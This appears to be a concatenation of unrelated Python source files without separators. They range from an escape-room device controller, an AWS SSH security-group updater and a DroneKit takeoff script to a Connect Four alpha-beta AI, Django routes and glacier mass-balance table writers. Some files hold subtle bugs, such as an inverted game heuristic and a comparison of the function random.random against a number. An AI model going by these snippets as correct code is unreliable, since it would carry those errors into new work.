import requests
from time import sleep
import os
import json
from threading import Thread
import protocol as p
import configparser
import logging

API_URL = "https://homeescape.pythonanywhere.com/api/commands/"
API_RESPONSE_URL = "https://homeescape.pythonanywhere.com/api/cancel/"
BOX_MOTOR_ID = None

devices = {}
execute_thread = None
command_threads = []

wait_time = 1
last_response = None
user_id = None
logger = logging.getLogger(__name__)
KILL_FLAG = False

def update_devices():
    """
    update the devices dic and get new devices (if there are new)

    This function is not used yet but the Idea is to send the possible Devices to the Webserver to make
    configurations easy.

    """
    devices = {}
    # open devices
    device_list = os.listdir("devices/")
    for dev in device_list:
        f = open("devices/" + dev)
        s = f.read()
        j = json.loads(s)
        if j['protocol'] not in devices:
            devices[j['protocol']] = {}
        devices[j['protocol']][j['id']] = j

def get_protocol(protocol):
    """
    Look up for a given Protocol define at the Protocol Package.
    String => Class
    :param protocol:
    :return:
    """
    return getattr(p, protocol)

def execute_actions(protocol, device, actions):
    """
    iterate through the actions and call the execute method at the Protocol class
    :param protocol:
    :param device:
    :param actions:
    :return:
    """
    for action in actions:
        protocol.execute(device, action)

def execute_commands(loops, args):
    """
    execute the json input from Server

    args is a list of commands
    """
    global KILL_FLAG
    for _ in range(loops):
        logger.debug('in the loop')
        if KILL_FLAG:
            # Kill the Thread from outer scope
            logger.debug('KILLED')
            break
        for command in args:
            devices = command['devices']
            for device in devices:
                logger.debug(device)
                # execute steps for each device
                th = Thread(
                    target=execute_actions,
                    args=(
                        get_protocol(command['protocol']),
                        device,
                        command['actions']),
                )
                command_threads.append(th)
                th.start()
        for cth in command_threads:
            cth.join()

def ping_server():
    """
    get the data from the server
    if no connection can be set the return is None
    :return:
    """
    try:
        res = requests.post(API_URL, timeout=5)
        result = res.text
        logger.debug(result)
        res.connection.close()
    except Exception as e:
        logger.error(e)
        result = None
    return result

def ping_file():
    """
    Test function for Debugging without Server
    ! DO NOT USE IN PRODUCTION ! (Because it won't work)
    :return:
    """
    dat = open("test/test.json").read()
    return dat

def check_server(server=True):
    """
    send a request to django and check what he has to do
    """
    global execute_thread
    global command_threads
    global last_response
    global user_id
    global KILL_FLAG
    while True:
        if server:
            response = ping_server()
        else:
            # only for debug issiue
            response = ping_file()
        if response == last_response:
            # The response is already processed
            logger.debug('i do nothing')
            continue
        if not response:
            logger.error('No response')
            continue

        last_response = response
        data = json.loads(response)
        logger.debug("data", data)
        if data:
            try:
                # stop currcent thread
                if execute_thread:
                    KILL_FLAG = True  # soft kill :D
                    execute_thread.join()
                    KILL_FLAG = False

                if command_threads:
                    for cth in command_threads:
                        cth.join()
                    command_threads = []
                if not user_id:
                    user_id = data['meta']['user_id'] # userID given from alexa to identify the player
                # execute steps in thread
                execute_thread = Thread(
                    target=execute_commands,
                    args=(data['meta']['loop'], data['commands'])
                )
                logger.debug(execute_thread)
                execute_thread.start()

            except Exception as e:
                logger.error("Error at json parser")
                logger.error(e)
        else:
            # stop currcent thread
            if execute_thread:
                execute_thread.join()

            if command_threads:
                for cth in command_threads:
                    cth.join()
                command_threads = []
        sleep(wait_time)

def check_box(sleep_time=2):
    """
    Check the Box if the user opens it
    If the status of the Box changed, the Server will be informed
    """
    global user_id
    prev_box_status = None

    while True:
        try:
            current_modbus_status = p.Modbus.read()
            if user_id and current_modbus_status != prev_box_status:
                # check if the user_id is set
                # only do something if the status of the box changed
                res = requests.post(API_RESPONSE_URL, json={"exit_game": bool(current_modbus_status), 'user': user_id})
                logger.debug(res.__dict__)
                prev_box_status = current_modbus_status
        except Exception as e:
            logger.error(e)
        sleep(sleep_time)

if __name__ == "__main__":

    # Thread for check data from Server
    check_server_thread = Thread(
        target=check_server,
        args=()
    )

    # Thread for check if Box was open
    check_box_thread = Thread(
        target=check_box,
        args=()
    )

    check_server_thread.start()
    check_box_thread.start()

    while check_server_thread:
        # do not terminate System while check server thread is processing
        pass


import boto3
import json
import pprint

from botocore.config import Config

base_config = Config(
	region_name = 'eu-west-1',
#	signature_version = 'v4',
#    retries = {
#        'max_attempts': 5,
#        'mode': 'standard'
#    }
)

my_sg_name = 'SSHFromHome'

def test_func():
    client = boto3.client('ec2', config=base_config)

    sg_list = client.describe_security_groups()

    #pprint.pprint(sg_list)

    ssh_group = [x for x in sg_list['SecurityGroups'] if x['GroupName'] == my_sg_name]

    pprint.pprint(ssh_group)

    current_settings = ssh_group[0]['IpPermissions']

    pprint.pprint(current_settings)

    group_id = ssh_group[0]['GroupId']

    print(group_id)

    ec2 = boto3.resource('ec2', config=base_config)

    my_sg = ec2.SecurityGroup(group_id)

    my_sg.revoke_ingress(IpPermissions=current_settings)

    my_ip = '54.240.197.234'

    current_settings[0]['IpRanges'][0]['CidrIp'] = my_ip + '/32'

    my_sg.authorize_ingress(IpPermissions=current_settings)

if __name__=='__main__':
    test_func()


import logging
import inspect

import numpy as np

from pybar.analysis.analyze_raw_data import AnalyzeRawData
from pybar.fei4.register_utils import invert_pixel_mask, make_xtalk_mask, make_pixel_mask
from pybar.fei4_run_base import Fei4RunBase
from pybar.fei4.register_utils import scan_loop
from pybar.run_manager import RunManager
from pybar.analysis.plotting.plotting import plot_occupancy

class CrosstalkScan(Fei4RunBase):
    '''Crosstalk Scan

    Implementation of a crosstalk scan. Injection in long edge pixels (row - 1, row + 1).
    Crosstalk exists when a threshold higher 0 can be measured (s-curve fit successful).
    '''
    _default_run_conf = {
        "broadcast_commands": True,
        "threaded_scan": False,
        "mask_steps": 6,  # number of injections per PlsrDAC step
        "n_injections": 100,  # number of injections per PlsrDAC step
        "scan_parameters": [('PlsrDAC', [None, 800])],  # the PlsrDAC range
        "step_size": 10,  # step size of the PlsrDAC during scan
        "use_enable_mask": False,  # if True, use Enable mask during scan, if False, all pixels will be enabled
        "enable_shift_masks": ["Enable"],  # enable masks shifted during scan
        "disable_shift_masks": [],  # disable masks shifted during scan
        "xtalk_shift_mask": ["C_High", "C_Low"],  # crosstalk mask derived from enable_shift_masks
        "pulser_dac_correction": False  # PlsrDAC correction for each double column
    }

    def configure(self):
        commands = []
        commands.extend(self.register.get_commands("ConfMode"))
        # C_Low
        if "C_Low".lower() in map(lambda x: x.lower(), self.enable_shift_masks):
            self.register.set_pixel_register_value('C_Low', 1)
            commands.extend(self.register.get_commands("WrFrontEnd", same_mask_for_all_dc=True, name='C_Low'))
        else:
            self.register.set_pixel_register_value('C_Low', 0)
            commands.extend(self.register.get_commands("WrFrontEnd", same_mask_for_all_dc=True, name='C_Low'))
        # C_High
        if "C_High".lower() in map(lambda x: x.lower(), self.enable_shift_masks):
            self.register.set_pixel_register_value('C_High', 1)
            commands.extend(self.register.get_commands("WrFrontEnd", same_mask_for_all_dc=True, name='C_High'))
        else:
            self.register.set_pixel_register_value('C_High', 0)
            commands.extend(self.register.get_commands("WrFrontEnd", same_mask_for_all_dc=True, name='C_High'))
        commands.extend(self.register.get_commands("RunMode"))
        self.register_utils.send_commands(commands)

    def scan(self):
        scan_parameter_range = [0, (2 ** self.register.global_registers['PlsrDAC']['bitlength'])]
        if self.scan_parameters.PlsrDAC[0]:
            scan_parameter_range[0] = self.scan_parameters.PlsrDAC[0]
        if self.scan_parameters.PlsrDAC[1]:
            scan_parameter_range[1] = self.scan_parameters.PlsrDAC[1]
        scan_parameter_range = range(scan_parameter_range[0], scan_parameter_range[1] + 1, self.step_size)
        logging.info("Scanning %s from %d to %d", 'PlsrDAC', scan_parameter_range[0], scan_parameter_range[-1])

        def set_xtalk_mask():
            frame = inspect.currentframe()
            if frame.f_back.f_locals['index'] == 0:
                mask = make_pixel_mask(steps=self.mask_steps, shift=frame.f_back.f_locals['mask_step'])
                mask = make_xtalk_mask(mask)
                map(lambda mask_name: self.register.set_pixel_register_value(mask_name, mask), self.disable_shift_masks)
                commands = []
                commands.append(self.register.get_commands("ConfMode")[0])
                commands.extend(self.register.get_commands("WrFrontEnd", same_mask_for_all_dc=True, name=self.xtalk_shift_mask, joint_write=True))
                commands.append(self.register.get_commands("RunMode")[0])
                self.register_utils.send_commands(commands, concatenate=True)

        for scan_parameter_value in scan_parameter_range:
            if self.stop_run.is_set():
                break

            commands = []
            commands.extend(self.register.get_commands("ConfMode"))
            self.register.set_global_register_value('PlsrDAC', scan_parameter_value)
            commands.extend(self.register.get_commands("WrRegister", name=['PlsrDAC']))
            self.register_utils.send_commands(commands)

            with self.readout(PlsrDAC=scan_parameter_value):
                cal_lvl1_command = self.register.get_commands("CAL")[0] + self.register.get_commands("zeros", length=40)[0] + self.register.get_commands("LV1")[0]
                scan_loop(self, cal_lvl1_command, repeat_command=self.n_injections, use_delay=True, mask_steps=self.mask_steps, enable_mask_steps=None, enable_double_columns=None, same_mask_for_all_dc=False, fast_dc_loop=False, bol_function=set_xtalk_mask, eol_function=None, digital_injection=False, enable_shift_masks=self.enable_shift_masks, disable_shift_masks=self.disable_shift_masks, restore_shift_masks=False, mask=invert_pixel_mask(self.register.get_pixel_register_value('Enable')) if self.use_enable_mask else None, double_column_correction=self.pulser_dac_correction)

    def analyze(self):
        with AnalyzeRawData(raw_data_file=self.output_filename, create_pdf=True) as analyze_raw_data:
            analyze_raw_data.create_tot_hist = False
            analyze_raw_data.create_fitted_threshold_hists = True
            analyze_raw_data.create_threshold_mask = True
            analyze_raw_data.n_injections = 100
            analyze_raw_data.interpreter.set_warning_output(False)  # so far the data structure in a threshold scan was always bad, too many warnings given
            analyze_raw_data.interpret_word_table()
            analyze_raw_data.interpreter.print_summary()
            analyze_raw_data.plot_histograms()
            thr_hist = analyze_raw_data.out_file_h5.root.HistThresholdFitted[:, :].T
            xtalk_mask = np.zeros(shape=thr_hist.shape, dtype=np.dtype('>u1'))
            xtalk_mask[thr_hist > 0.0] = 1
            plot_occupancy(xtalk_mask.T, title='Crosstalk', z_max=1, filename=analyze_raw_data.output_pdf)

if __name__ == "__main__":
    with RunManager('configuration.yaml') as runmngr:
        runmngr.run_run(CrosstalkScan)


"""Methods for manipulating Ladybug header objects."""

import pandas as pd
from ladybug.analysisperiod import AnalysisPeriod
from ladybug.datatype import TYPESDICT
from ladybug.datatype.generic import GenericType
from ladybug.header import Header

from ..bhom.analytics import bhom_analytics

def header_to_string(header: Header) -> str:
    """Convert a Ladybug header object into a string.

    Args:
        header (Header):
            A Ladybug header object.

    Returns:
        str:
            A Ladybug header string."""

    return f"{header.data_type} ({header.unit})"

@bhom_analytics()
def header_to_multiindex(header: Header) -> pd.MultiIndex:
    """Convert a Ladybug header object into a Pandas MultiIndex. Used for creating CSV headers for
        reloading by Ladybug.

    Args:
        header (Header):
            A Ladybug header object.

    Returns:
        pd.MultiIndex:
            A Pandas MultiIndex object."""

    meta = header.to_csv_strings(True)
    names = [
        "datatype",
        "unit",
    ] + [i.split(":")[0].strip() for i in meta[2:]]
    values = [str(header.data_type), header.unit] + [
        i.split(":")[-1].strip() for i in meta[2:]
    ]
    return pd.MultiIndex.from_arrays([[i] for i in values], names=names)

def header_from_string(string: str, is_leap_year: bool = False) -> Header:
    """Convert a string into a Ladybug header object.

    Args:
        string (str):
            A Ladybug header string.
        is_leap_year (bool, optional):
            A boolean to indicate whether the header is for a leap year. Default is False.

    Returns:
        Header:
            A Ladybug header object."""

    str_elements = string.split(" ")

    if (len(str_elements) < 2) or ("(" not in string) or (")" not in string):
        raise ValueError(
            "The string to be converted into a LB Header must be in the format 'variable (unit)'"
        )

    str_elements = string.split(" ")
    unit = str_elements[-1].replace("(", "").replace(")", "")
    data_type = " ".join(str_elements[:-1])

    try:
        data_type = TYPESDICT[data_type.replace(" ", "")]()
    except KeyError:
        data_type = GenericType(name=data_type, unit=unit)

    return Header(
        data_type=data_type,
        unit=unit,
        analysis_period=AnalysisPeriod(is_leap_year=is_leap_year),
    )

@bhom_analytics()
def header_from_multiindex(multiindex: pd.MultiIndex) -> Header:
    """Convert a Pandas MultiIndex into a Ladybug header object.

    Args:
        multiindex (pd.MultiIndex):
            A Pandas MultiIndex object.

    Returns:
        Header:
            A Ladybug header object."""

    # ensure that the multi-index only contains a single "column"
    if len(multiindex) > 1:
        raise ValueError(
            "The multi-index passed contains more than one column and cannot be interpreted as a ",
            'single "Header" object.',
        )

    # get the datatype and value
    datatype = TYPESDICT[multiindex.values[0][0].replace(" ", "")]
    unit = multiindex.values[0][1]

    # get the metadata
    metadata = {}
    for n, (k, v) in enumerate(list(zip(*[multiindex.names, multiindex.values[0]]))):
        if n <= 1:
            continue
        metadata[k] = v

    # construct the header
    header = Header(
        data_type=datatype,
        unit=unit,
        analysis_period=AnalysisPeriod(),
        metadata=metadata,
    )

    return header


import math

INFINITY = math.inf

class AI:
    depth = 0
    currentDepth = 0
    chip = "X"

    def __init__(self, chip='X', difficulty=1):
        self.chip = chip
        self.depth = difficulty

    def setDifficulty(self, difficulty):
        self.depth = difficulty
        self.currentDepth = 0

    def playTurn(self, board):
        move = self.alphaBetaSearch(board)
        board.addChip(self.chip, move[0], move[1])
        return move

    def evaluateHeuristic(self, board):
        horizontalScore = 0
        verticalScore = 0
        diagonal1Score = 0
        diagonal2Score = 0

        # vertical
        for row in range(board.boardHeight - 3):
            for column in range(board.boardWidth):
                score = self.scorePosition(board, row, column, 1, 0)
                verticalScore += score

        # Horizontal
        for row in range(board.boardHeight):
            for column in range(board.boardWidth - 3):
                score = self.scorePosition(board, row, column, 0, 1)
                horizontalScore += score

        # Diagonal 1
        for row in range(board.boardHeight - 3):
            for column in range(board.boardWidth - 3):
                score = self.scorePosition(board, row, column, 1, 1)
                diagonal1Score += score

        # Diagonal 1
        for row in range(3, board.boardHeight):
            for column in range(board.boardWidth - 3):
                score = self.scorePosition(board, row, column, -1, 1)
                diagonal2Score += score

        return horizontalScore + verticalScore + diagonal1Score + diagonal2Score

    def scorePosition(self, board, row, column, deltaROW, deltaCOL):
        '''
            Hueristic evaluation
            for current state
            +1000, +100, +10, +1 for 4-,3-,2-,1-in-a-line for AI player
            -1000, -100, -10, -1 for 4-,3-,2-,1-in-a-line for human player
            0 otherwise
        '''
        humanScore = AIScore = humanPoints = AIPoints = 0
        for _ in range(4):
            currentChip = board.getChip(row, column)
            if currentChip == 'X':
                AIPoints += 1
            elif currentChip == 'O':
                humanPoints += 1

            row += deltaROW
            column += deltaCOL

        if humanPoints == 1:
            humanScore = -1
        elif humanPoints == 2:
            humanScore = -10
        elif humanPoints == 3:
            humanScore = -100
        elif humanPoints == 4:
            humanScore = -1000

        if AIPoints == 1:
            AIScore = -1
        elif AIPoints == 2:
            AIScore = -10
        elif AIPoints == 3:
            AIScore = -100
        elif AIPoints == 4:
            AIScore = -1000

        return AIScore + humanScore

    def generateMoves(self, board):
        possibleMovies = []
        for column in range(board.boardWidth):
            move = board.canAddChip(column)
            if move[0]:
                possibleMovies.append((move[1], column))  # (row, column)
        return possibleMovies

    def alphaBetaSearch(self, state):
        self.currentDepth = 0
        scores = []
        bestAction = None
        v = max_value = -INFINITY
        alpha = -INFINITY
        beta = INFINITY
        actions = self.generateMoves(state)
        for action in actions:
            state.addChip(self.chip, action[0], action[1])
            v = self.minValue(state, alpha, beta)
            scores.append(v)
            if v > max_value:
                max_value = v
                bestAction = action
                alpha = max(alpha, v)
            self.currentDepth -= 1
            state.removeChip(action[0], action[1])
        if len(scores) == 1:
            bestAction = actions[0]
        return bestAction

    def maxValue(self, state, alpha, beta):
        self.currentDepth += 1
        actions = self.generateMoves(state)
        if not actions or self.currentDepth >= self.depth:
            return self.evaluateHeuristic(state)

        v = -INFINITY
        for action in actions:
            state.addChip('O', action[0], action[1])
            v = max(v, self.minValue(state, alpha, beta))
            if v >= beta:
                self.currentDepth -= 1
                state.removeChip(action[0], action[1])
                return v
            alpha = max(alpha, v)
            self.currentDepth -= 1
            state.removeChip(action[0], action[1])
        return v

    def minValue(self, state, alpha, beta):
        self.currentDepth += 1
        actions = self.generateMoves(state)
        if not actions or self.currentDepth >= self.depth:
            return self.evaluateHeuristic(state)

        v = INFINITY
        for action in actions:
            state.addChip('O', action[0], action[1])
            v = min(v, self.maxValue(state, alpha, beta))
            if v <= alpha:
                self.currentDepth -= 1
                state.removeChip(action[0], action[1])
                return v
            beta = min(beta, v)
            self.currentDepth -= 1
            state.removeChip(action[0], action[1])
        return v


import random
import threading

class BoundedQueueList(object):
    def __init__(self, max_length):
        self.max_length = max_length
        self.list = []
        self.lock = threading.RLock()

    def append(self, item):
        with self.lock:
            if len(self.list) == self.max_length:
                self.popfirst()

            self.list.append(item)

    def popfirst(self):
        with self.lock:
            return self.list.pop(0)

    def remove(self, value):
        with self.lock:
            self.list.remove(value)

    def __contains__(self, value):
        with self.lock:
            return value in self.list

class RecheckingList():
    def __init__(self, gen, recheck=0.1):
        self.gen = gen
        self.list = self.gen()
        self.recheck = recheck
        self.lock = threading.RLock()

    def __contains__(self, value):
        locked = self.lock.acquire(False)
        if random.random < self.recheck and locked:
            try:
                self.list = self.gen()
                return value in self.list
            finally:
                self.lock.release()
        elif locked:
            try:
                return value in self.list
            finally:
                self.lock.release()
        else:
            with self.lock:
                return value in self.list


""" Objective functions for ga """

import numpy as np

def get_hamming_distance_objective(target1, target2):

    assert target1.shape == target2.shape, 'Target binary strings are of different length'

    def hamming_distance_objective(solution):

        assert solution['solution'].shape == target1.shape, \
            'Hamming distance binary strings are of different length'

        dist1 = target1.shape[0] - (solution['solution'] == target1).sum()
        dist2 = target2.shape[0] - (solution['solution'] == target2).sum()

        solution['evaluation'] = (dist1, dist2)

    return hamming_distance_objective

def _get_max_eigenvalue(adj, return_abs=True):
    eigvals = np.linalg.eigvalsh(adj)
    return np.abs(eigvals[-1])

def get_node_immunization_objectve(adj):
    original_eigval = _get_max_eigenvalue(adj)
    degrees = adj.sum(axis=0)

    def node_immunization_objective(solution):
        to_drop = solution['solution']

        ind = np.where(to_drop)
        adj_pert = np.array(adj)
        adj_pert[:,ind] = 0
        adj_pert[ind,:] = 0

        new_eigval = _get_max_eigenvalue(adj_pert)
        drop_eigval = original_eigval - new_eigval
        cost = (to_drop * degrees).sum()

        solution['evaluation'] = (-drop_eigval, cost)

    return node_immunization_objective


from __future__ import annotations

import pandas as pd
from pytrends.request import TrendReq
import warnings
import plotly.express as px

warnings.simplefilter("ignore", ResourceWarning)

class Asset:
    def __init__(self, asset_name: str, resp_asset: pd.Series):
        self.name = asset_name
        for key, value in resp_asset.to_dict().items():
            setattr(self, key, value)
        self.trend = TrendReq(hl='FR', tz=360)
        self.data = self._get_data_google_trend()

    def _get_data_google_trend(self) -> pd.DataFrame:
        """
        Allows you to retrieve the asset's google trend data for the month.
        :return:
        """
        self.trend.build_payload([self.altname], timeframe='today 1-m', geo='FR')
        trend = self.trend.interest_over_time()
        columns_name = trend.columns
        data = trend[columns_name[0]]
        data = data.resample('1H').interpolate('linear').to_frame().reset_index()
        data_asset = data[columns_name[0]]
        data_time = pd.to_datetime(data['date'], format='%Y-%m-%d %H:%M:%S')
        data = pd.concat([data_time, data_asset], axis=1)
        data = data.rename(columns={"date": "time"})
        data = data.set_index("time")
        return data

    def convert_time_stamp_to_date(self, data):
        data = data.reset_index(inplace=True)
        return data

    def graph_timestamp_trend(self):
        df = px.data.stocks(indexed=True) - 1
        fig = px.line(self.data[self.altname], title=self.name)
        fig.layout.template = 'plotly_dark'
        fig.show()


import time
import os
import platform
import sys

from dronekit import connect, VehicleMode, LocationGlobal, LocationGlobalRelative
from pymavlink import mavutil

#####################   connecting to the the drone   ###########################

vehicle = connect('/dev/ttyS0', baud=57600, wait_ready=True)
print( str(vehicle.system_status.state) )

#####################   arming the drone   ###########################

def arm_and_takeoff(targetHeight):
    print("vehicle mode: ", vehicle.mode, "vehicle system status-state: ", vehicle.system_status.state)
    # while vehicle.is_armable!=True:
    #     print("Waiting for vehicle to become armable.")
    #     time.sleep(1)
    # print("Vehicle is now armable.")
    # print("")

    vehicle.mode = VehicleMode("GUIDED")
    # while vehicle.mode!="GUIDED":
    #     print("Waiting for drone to enter GUIDED mode.")
    #     time.sleep(1)
    # print("Vehicle is now in GUIDED mode")

    print("Is vehicle armable? ", vehicle.is_armable)
    while vehicle.armed==False:
        print("Waiting for vehicle to be armed.")
        vehicle.armed = True
        if vehicle.armed == True:
            break
        time.sleep(1)
    print("vehicle is now armed")

    vehicle.simple_takeoff(targetHeight)
    # while True:
    #     current_altitude = vehicle.location.global_relative_frame.alt
    #     print("Current Altitude: ", str(current_altitude) )
    #     if current_altitude >= .95*targetHeight:
    #         break
    #     time.sleep(1)
    time.sleep(5)
    return None

arm_and_takeoff(1)

########################################################################

def move_wayPoints():
    # moves forward 3 meters
    vehicle.velocity(3, 0, 0)
    time.sleep(3)
    # yaws to the right 45deg
    vehicle.yaw(45, 10, 0)
    time.sleep(3)
    # vehicle goes up 2 meters
    vehicle.velocity(0, 0, 2)
    time.sleep(3)
    # vehicle

vehicle.mode = VehicleMode("LAND")


from tkinter import font

import json5rw as json

from src.SettingsParser.configfiles import DEFAULT_GENERAL_SETTINGS, GENERAL_SETTINGS
from src.tktypes import Tk_Widget
from src.window import get_window

class GeneralSettings:
    """A class to read data to/from general-settings.json"""

    def __init__(self, master: Tk_Widget = None):
        if master is None:
            master = get_window()
        self.master = master
        with DEFAULT_GENERAL_SETTINGS.open() as f:
            self.settings = json.load(f)
        with GENERAL_SETTINGS.open() as f:
            self.settings |= json.load(f)

    def get_font(self):
        code_font = font.Font(
            family=self.get_settings("font"),
            size=self.get_settings("font_size")
        )
        font_options = self.get_settings("font_options")
        if not font_options:
            return code_font
        for option, value in font_options.items():
            code_font[option] = value
        return code_font

    def get_settings(self, setting):
        if self.settings:
            return self.settings[setting]


from celery import Celery
from celery.states import state, PENDING

from .models import CeleryTask

app = Celery('celery_aide')

@app.task
def task_update(task_id=None, task_args=None, task_extra=None, task_kwargs=None, task_name=None, task_queue=None, task_state=None):
  task, created = CeleryTask.objects.get_or_create(task_id=task_id)
  if not created:
      # if we are not the first one here, we only want to update if we are at a state with higher precedence
      if state(task_state) < state(task.state):
          if task.queue is None and task_queue is not None:
              task.queue = task_queue
              task.save()
          return
  if task_args:
      task.args = task_args
  if task_extra:
      task.extra = task_extra
  if task_kwargs:
      task.kwargs = task_kwargs
  if task_name:
      task.name = task_name
  if task_queue:
      task.queue = task_queue
  if task_state:
      task.state = task_state
  else:
      if task.state is None:
          task.state = PENDING
  task.save()


#!/usr/bin/env python3

import os
from setuptools import setup

src_dir = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(src_dir, 'README.md')) as readme:
	long_description = readme.read()

classifiers = ['Programming Language :: Python :: 3.5']
data_files = [
	('share/icons/hicolor/scalable/apps', [
		'data/xpander.svg',
		'data/xpander-active.svg',
		'data/xpander-paused.svg',
		'data/xpander-active-dark.svg',
		'data/xpander-paused-dark.svg']),
	('share/applications', [
		'data/xpander-indicator.desktop'])]

setup(
	name='xpander',
	version='1.0.0-beta1',
	description='Text expander for Linux',
	long_description=long_description,
	url='https://github.com/OzymandiasTheGreat/xpander',
	author='Tomas Ravinskas',
	author_email='tomas.rav@gmail.com',
	license='',
	classifiers=classifiers,
	package_dir={'xpander': 'lib'},
	packages=['xpander'],
	package_data={'xpander': ['Examples/*.json']},
	data_files=data_files,
	scripts=['xpander-indicator'],
	install_requires=['python3-xlib'],
)


from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static
from . import views

urlpatterns = [
    path('all/', views.all_offers, name='all_offers'),
    path('<id>', views.offer_info, name='offer_info'),
    path('new_offer/', views.new_offer, name='new_offer'),
    path('delete/<id>', views.delete_offer, name='delete_offer'),
    path('edit/<id>', views.edit_offer, name='edit_offer'),
    path('pending/<id>', views.pending_requests, name='pending'),
    path('sell/<id_offer>/<id_user>', views.sell, name='sell'),
    path('history/', views.history, name='history'),
    path('delete_pending/<id>', views.cancel, name='cancel_pending'),
]


from __future__ import print_function

# if, for, range, break|continue|else, function,

friends = ['john', 'pat', 'gary', 'michael']
for i, name in enumerate(friends):
    print("iteration {iteration} is {name}".format(iteration=i, name=name))

# function example
def greet(_name):
    print('Hello', _name)

greet('Jack')
greet('Jill')
greet('Bob')


"""
    *** Numerical calculation of surface mass balance profiles using a simple degree-day approach. ***

Purpose of the calculation is to investigate the influence of different annual temperature amplitudes on the
surface mass balance gradient in the abaltion area.

Eventually, the surface mass balance should be used to drive an ice flow model and thereby to study the influence
of changing surface mass balance gradients on advance and reatreat behaviour of glaciers during the last glacial period

The profiles are calculated for two different annual amplitudes of surface temperature. In addition, both simulations
can be perturbed by an offset in air temperature and precipitation (totalling four scenarios if this option is used).
"""

import numpy as np
import csv
import pandas as pd

# *********************************************************************************************************************
# write output table nr. 1 (as XLSX)
def write_output_table_xls1(outfolder, T_zpcl, df_out, pdds):
    with pd.ExcelWriter(outfolder + 'out_table_num.xlsx') as writer:
        for ind, i in enumerate(T_zpcl):
            for i2 in range(2, 14):
                df_out.iloc[:, i2] = pdds[ind, i2 - 1]
                df_out.iloc[:, i2] = pdds[ind, i2 - 1]
            df_out.to_excel(writer, sheet_name='Scenario_' + str(ind + 1))

# *********************************************************************************************************************
# write output table nr. 2 (as XLSX)
def write_output_table_xls2(outfolder, param_arr, T_raw, T_zpcl, year_start, year_end, mb_years):
    with pd.ExcelWriter(outfolder + 'out_table_annual_parameters_yrs_' +
                        str(int(year_start))+'-'+str(int(year_end))+'.xlsx') as writer:
        df_out = pd.DataFrame(columns=['year', 'B (m w.e.)', 'B_max (m w.e.)', 'B_min (m w.e.)', 'db/dz (m (100 m)-1 yr-1)',
                                       'ELA (m a.s.l.)', 'AAR (-)', 'B_acc (GT)', 'T_GISP_raw (C)', 'MAAT@400 m asl.(°C)',
                                       'Tjuly@400 m asl.(°C)', 'Tjan@400 m asl.(°C)', 'P@400 m asl.(m yr-1)',
                                       'MAAT@ELA (°C)', 'Tjuly@ELA (°C)',
                                       'Tjan@ELA (°C)', 'P@ELA (m yr-1)', 'T_amplitude (K)', 'mean_of_r_max ()'])

        years = np.arange(year_end, year_start, 1)
        years = years[::-1]  # reverse array
        # check length, usually there is one mb year less
        # than total years (bcs. of mb years corresponding to hydrol. years)
        if len(years) > mb_years:
            years = years[:mb_years]

        for ind, i in enumerate(T_zpcl):
            df_out.iloc[:, 0] = years
            for i2 in range(0, 7):
                df_out.iloc[:, i2+1] = param_arr[ind, i2, :]
            df_out.iloc[:, 8] = T_raw[:mb_years]
            for i2 in range(7, len(param_arr[ind, :, :])):
                df_out.iloc[:, i2+2] = param_arr[ind, i2, :]
            df_out.to_excel(writer, sheet_name='Scenario_'+str(ind + 1))

# *********************************************************************************************************************
# write output tables nr. 2 to len(T_zpcl) + 1 (as individual CSV files)
def write_output_tables_csv_vertical(outfolder, b_arr, ind, dem, t_resolution, content):

    # create x-axis label
    header = dem.tolist()
    header.insert(0, 'time')

    b_arr = np.round(b_arr, 5)

    outfile_fin = outfolder + t_resolution + '_' + content + '_case' + str(ind + 1) + '.txt'

    with open(outfile_fin, "w") as outcsv:
        # configure writer to write standard csv file
        writer = csv.writer(outcsv, delimiter='\t', quotechar='|',
                            quoting=csv.QUOTE_NONE, lineterminator='\n')  # ,escapechar='\\'
        writer.writerow(header)
        writer.writerows(b_arr)

# # *******************************************************************************************************************
# # write output tables nr. 2 to len(T_zpcl) + 1 (as individual CSV files)
# def write_output_tables_csv_horizontal(outfolder, bm_arr, dates, ind, content):
#
#     # create x-axis label
#     header = []
#     for num, i in enumerate(dates[0]):
#         header.append(str(i) + '/' + str(dates[1][num]))
#
#     header.insert(0, 'elevation')
#
#     outfile_fin = outfolder + 'monthly_'+content+'_case' + str(ind + 1) + '.txt'
#     bm_arr = np.transpose(bm_arr)
#
#     with open(outfile_fin, "w") as outcsv:
#         # configure writer to write standard csv file
#         writer = csv.writer(outcsv, delimiter='\t', quotechar='|', quoting=csv.QUOTE_NONE, lineterminator='\n')
#         writer.writerow(header)
#         writer.writerows(bm_arr)
#

# # *******************************************************************************************************************
# # convert table of daily b to monthly b
# # IS THIS PIECE OF CODE STILL USED? APPEARS TO BE CALLED NOWHERE
# def daily_to_monthly(bt_arr, t_years, t_start):
#     ml = 365/12  # length of a month in days
#     months_s = np.arange(0, 365, ml)
#     months = []
#     for m in months_s:
#         months.append(np.arange(np.ceil(m), m + ml - 0.001, 1, dtype=int))  # -0.001, otherwise one element too many
#
#     years = np.arange(365, t_years*365, 365, dtype=int)
#     years_s = np.insert(years, 0, t_start)  # start julday of every year
#     years_e = np.arange(365, (t_years-1)*365+0.1, 365, dtype=int)  # end julday of every year
#     years_e = np.append(years_e, (t_years-1)*365+t_start)
#     years = np.array((years_s, years_e))
#     years_c = years - t_start  # same as 'years' but shifted by t_start to be able to read directly from bt_arr
#
#     bm_arr = []
#     years_monthly = []
#     months_monthly = []
#
#     for ind1, i1 in enumerate(years[0]):
#
#         if ind1 == 0: # search starting month, only first year, otherwise always 1. month
#             for ind2, i2 in enumerate(months):
#                 c = np.where(years[0,0] >= i2[0] and years[0,0] <= i2[-1], True, False)
#                 if c:
#                     s_month = ind2
#         else:
#             s_month = 0
#
#         year = ind1 + 1
#         bt_rel = bt_arr[:, years_c[0, ind1]: years_c[1, ind1]]
#
#         for ind3, i3 in enumerate(months):
#             try:
#                 bt_rel_m = bt_rel[:, i3[:]]
#                 bm_arr.append(np.sum(bt_rel_m, axis=1))
#                 years_monthly.append(year)
#                 months_monthly.append(ind3 + 1 + s_month)
#             except:
#                 try:
#                     # some months have 30, some 31 days, hence possible that last month does not fit by one day
#                     # thus: try with one day less
#                     bt_rel_m = bt_rel[:, i3[:-1]]
#                     bm_arr.append(np.sum(bt_rel_m, axis=1))
#                     years_monthly.append(year)
#                     months_monthly.append(ind3 + 1 + s_month)
#                 except:
#                     pass
#
#     bm_arr = np.array(bm_arr)
#
#     dates = (years_monthly, months_monthly)
#
#     return bm_arr, dates


from pyglet.window import key
